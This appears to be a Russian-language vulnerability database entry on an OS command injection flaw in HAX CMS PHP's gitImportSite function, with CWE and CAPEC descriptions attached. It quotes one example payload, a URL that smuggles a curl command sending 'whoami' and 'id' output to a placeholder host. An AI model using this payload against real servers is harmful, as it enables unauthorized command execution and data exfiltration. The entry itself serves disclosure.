Уязвимость HAX CMS PHP позволяет пользователям управлять своей вселенной микросайтов с помощью бэкэнда PHP. До версии 11.0.3 функция `gitIm…
Уязвимость HAX CMS PHP позволяет пользователям управлять своей вселенной микросайтов с помощью бэкэнда PHP. До версии 11.0.3 функция `gitImportSite` получает строку URL из POST-запроса и недостаточно проверяет пользовательский ввод. Функция `set_remote` затем передает этот ввод в `proc_open`, что приводит к инъекции команд ОС. Аутентифицированный злоумышленник может создать строку URL, которая обходит проверки валидации, выполняемые функциями `filter_var` и `strpos`, чтобы выполнить произвольные команды ОС на сервере бэкэнда. Злоумышленник может извлечь вывод команды через HTTP-запрос [1]. Уязвимость существует в логике функции `gitImportSite`, расположенной в `Operations.php`. Текущая реализация полагается только на функции `filter_var` и `strpos` для валидации URL, что недостаточно для обеспечения отсутствия всех специальных символов Bash, используемых для инъекции команд. Для воспроизведения уязвимости необходимо аутентифицироваться и отправить POST-запрос к эндпоинту `gitImportSite` с поддельным URL в данных JSON. Пример payload для инъекции команды: http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef [2]. Источники: - [1] https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw - [2] https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3
Продукт формирует команду операционной системы полностью или частично с использованием внешних входных данных из вышестоящего компонента, но не нейтрализует или некорректно нейтрализует специальные элементы, способные изменить замысленную команду при передаче нижестоящему компоненту.
https://cwe.mitre.org/data/definitions/78.html →Открыть в коллекции CWE →Злоумышленник изменяет поведение или состояние целевого приложения путём внедрения данных или синтаксиса команд через непроверяемые и нефильтруемые аргументы открытых сервисов или методов.
https://capec.mitre.org/data/definitions/6.html →Открыть в коллекции CAPEC →Атака данного типа эксплуатирует уязвимости программы, позволяющие злоумышленнику конкатенировать собственные команды с легитимными командами с целью атаки на другие ресурсы, такие как файловая система или база данных. Система, использующая фильтр или проверку входных данных на основе списка запрещённых значений, в отличие от проверки на основе разрешающего списка, уязвима для злоумышленника, способного предсказывать разделители (или их комбинации), отсутствующие в фильтре или списке запрещённых значений. Как и другие атаки внедрения, злоумышленник использует полезную нагрузку с разделителем команд в качестве точки входа для туннелирования через приложение и активации дополнительных атак посредством SQL-запросов, команд командного интерпретатора, сетевого сканирования и т. д.
https://capec.mitre.org/data/definitions/15.html →Открыть в коллекции CAPEC →Злоумышленник передаёт целевому программному обеспечению входные данные, содержащие последовательности специальных символов, предназначенные для обхода логики проверки входных данных. Атака основана на том, что целевая система выполняет несколько проходов по входным данным, обрабатывая «слой» специальных символов на каждом проходе. Таким образом злоумышленник может замаскировать входные данные, которые в противном случае были бы отклонены как недопустимые, скрыв их за слоями специальных символов и экранирующих последовательностей, удаляемых последующими этапами обработки. Цель состоит в том, чтобы сначала обнаружить случаи, когда уровень проверки входных данных выполняется до одного или нескольких уровней синтаксического анализа. То есть пользовательский ввод может проходить через следующую логику приложения: <parser1> --> <input validator> --> <parser2>. В таких случаях злоумышленнику необходимо предоставить входные данные, которые пройдут через валидатор входных данных, но после прохождения через parser2 будут преобразованы в нечто, что валидатор должен был заблокировать.
https://capec.mitre.org/data/definitions/43.html →Открыть в коллекции CAPEC →При данном типе атаки злоумышленник внедряет команды операционной системы в существующие функции приложения. Уязвимым является любое приложение, использующее непроверенные входные данные для формирования командных строк. Злоумышленник может использовать внедрение команд ОС в приложении для повышения привилегий, выполнения произвольных команд и компрометации базовой операционной системы.
https://capec.mitre.org/data/definitions/88.html →Открыть в коллекции CAPEC →Злоумышленник использует стандартные методы внедрения SQL-кода для передачи данных в командную строку с целью их выполнения. Это может быть сделано напрямую — через злоупотребление такими директивами, как MSSQL_xp_cmdshell, — либо косвенно, путём внедрения данных в базу данных, которые впоследствии будут интерпретированы как команды командного интерпретатора. Через некоторое время непорядочное серверное приложение (или компонент того же приложения) извлекает внедрённые данные из базы данных и использует их в качестве аргументов командной строки без надлежащей проверки. Вредоносные данные выходят за пределы уровня данных, порождая новые команды для выполнения на хосте.
https://capec.mitre.org/data/definitions/108.html →Открыть в коллекции CAPEC →| Продукт | Вендор | Статус |
|---|---|---|
| Отслеживается | ||
| haxcms-nodejs | * | Отслеживается |
| haxcms-php | * | Отслеживается |